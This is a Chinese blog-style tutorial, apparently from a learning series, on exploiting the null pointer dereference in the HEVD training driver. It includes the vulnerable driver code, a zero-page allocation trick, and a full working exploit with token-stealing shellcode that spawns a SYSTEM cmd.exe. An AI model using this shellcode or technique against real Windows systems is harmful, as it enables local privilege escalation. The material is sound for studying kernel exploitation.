Windows内核漏洞学习-空指针解引用

0x00: 前言

​ 在看雪论坛看到许多关于HEVD的Windows内核漏洞教程,其中有一个是翻译国外的一个系列,感觉讲的很好,接下来就会跟着他将这个HEVD系列的漏洞走一遍了。昨天学了栈溢出,其实以前就学过,只不过没有操作过内核态的,今天继续学习空指针解引用,也是比较简单的漏洞,方便入门。

  • 传送门

0x01: 漏洞原理

首先看漏洞程序源码

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
     
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
     
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
     
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
     
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
     
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
     
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
     
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
     
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

​ 通过安全版和不安全版本的代码对比即可知道,安全版本在检验指针不为空的情况下再去调用 Callback回调函数,而不安全版本则不进行检查。阅读程序的流程:首先检验用户输入的数据是否等于一个魔数,如果检验通过则对 NullPointerDereference 的回调函数和值进行设置,如果不通过则将 NullPointerDereference 设置为NULL。在最后,即使指针为空也仍然去调用它的回调函数,这显然是不行,的当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞。

0x02:漏洞分析

通过在IDA里进行标注分析:当指针为空时,会call [4],所以当下所需要做的事就是传入一个不匹配的魔数,并在0x00000004分配一个双字地址。

Windows内核漏洞学习-空指针解引用_第1张图片

一开始可能会想,地址那么低怎么把Shellcode放到0x00000004的地址呢?Windows允许低权限用户去映射用户进程的上下文到0页。虽然我们使用 VirutalAlloc和VirtualAllocEx 在申请基地址低于0x00001000时候都会被拒绝访问,但是我们可以使用NtAllocateVirtualMemory来完成这个操作。

BaseAddress
期望内存基址指针。
当该值非零时,系统将计算此值的页对齐地址,尝试按照此地址申请内存块。
当该值等于零时,系统将寻找第一个未使用内存块。
当函数调用成功时,此参数亦将接收实际基址。

0x03:漏洞利用

首先申请到0页内存

PVOID BaseAddress= (PVOID)1;
SIZE_T RegionSize = 0x1000;
/* 这里对第二个参数进行解释 
BaseAddress
期望内存基址指针。
当该值非零时,系统将计算此值的页对齐地址,尝试按照此地址申请内存块。
当该值等于零时,系统将寻找第一个未使用内存块。
当函数调用成功时,此参数亦将接收实际基址。 */
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
    INVALID_HANDLE_VALUE,
    &BaseAddress,
    0,
    &RegionSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE)) || Zero_addr != NULL)
{
     
    printf("[+]Failed to alloc zero page!\n");
    system("pause");
    return 0;
}
 
printf("[+]Success to alloc zero page...\n");
printf("申请到的地址是 0x%p\n", BaseAddress);
*(DWORD*)(0x4) = (DWORD)& ShellCode;

可以看到成功申请到了0内存,所以接下来只需要将Shellcode存放在该地址即可。

Windows内核漏洞学习-空指针解引用_第2张图片
完整的代码为:

#include
#include

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b

HANDLE hDevice = NULL;

typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect
	);

My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;

static VOID ShellCode()
{
     
	_asm
	{
     
		//int 3
		pushad
		mov eax, fs: [124h]		// Find the _KTHREAD structure for the current thread
		mov eax, [eax + 0x50]   // Find the _EPROCESS structure
		mov ecx, eax
		mov edx, 4				// edx = system PID(4)

		// The loop is to get the _EPROCESS of the system
		find_sys_pid :
		mov eax, [eax + 0xb8]	// Find the process activity list
		sub eax, 0xb8    		// List traversal
		cmp[eax + 0xb4], edx    // Determine whether it is SYSTEM based on PID
		jnz find_sys_pid

		// Replace the Token
		mov edx, [eax + 0xf8]
		mov[ecx + 0xf8], edx
		popad
		//int 3
		ret
	}
}

BOOL init()
{
     
	// Get HANDLE
	hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		NULL,
		NULL);

	printf("[+]Start to get HANDLE...\n");
	if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
	{
     
		return FALSE;
	}
	printf("[+]Success to get HANDLE!\n");
	return TRUE;
}

static VOID CreateCmd()
{
     
	STARTUPINFO si = {
      sizeof(si) };
	PROCESS_INFORMATION pi = {
      0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = {
      L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

VOID Trigger_shellcode()
{
     
	DWORD bReturn = 0;
	char buf[4] = {
      0 };
	*(PDWORD32)(buf) = 0xBAD0B0B0+1;//测试申请到的地址时不加一即可

	*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
		GetModuleHandleW(L"ntdll"),
		"NtAllocateVirtualMemory");

	if (NtAllocateVirtualMemory == NULL)
	{
     
		printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
		system("pause");
		return ;
	}

	PVOID Zero_addr = (PVOID)1;
	SIZE_T RegionSize = 0x1000;

	printf("[+]Started to alloc zero page...\n");
	if (!NT_SUCCESS(NtAllocateVirtualMemory(
		INVALID_HANDLE_VALUE,
		&Zero_addr,
		0,
		&RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE)) || Zero_addr != NULL)
	{
     
		printf("[+]Failed to alloc zero page!\n");
		system("pause");
		return ;
		
	}

	printf("[+]Success to alloc zero page...\n");
	printf("申请到的地址是 0x%p\n", Zero_addr);
	*(DWORD*)(0x4) = (DWORD)&ShellCode;

	DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}

int main()
{
     

	if (init() == FALSE)
	{
     
		printf("[+]Failed to get HANDLE!!!\n");
		system("pause");
		return 0;
	}

	Trigger_shellcode();
	//__debugbreak();

	printf("[+]Start to Create cmd...\n");
	CreateCmd();
	system("pause");

	return 0;
}

利用成功

Windows内核漏洞学习-空指针解引用_第3张图片

0x04:明日计划

继续学习内核漏洞利用

你可能感兴趣的:(内核漏洞,学习记录)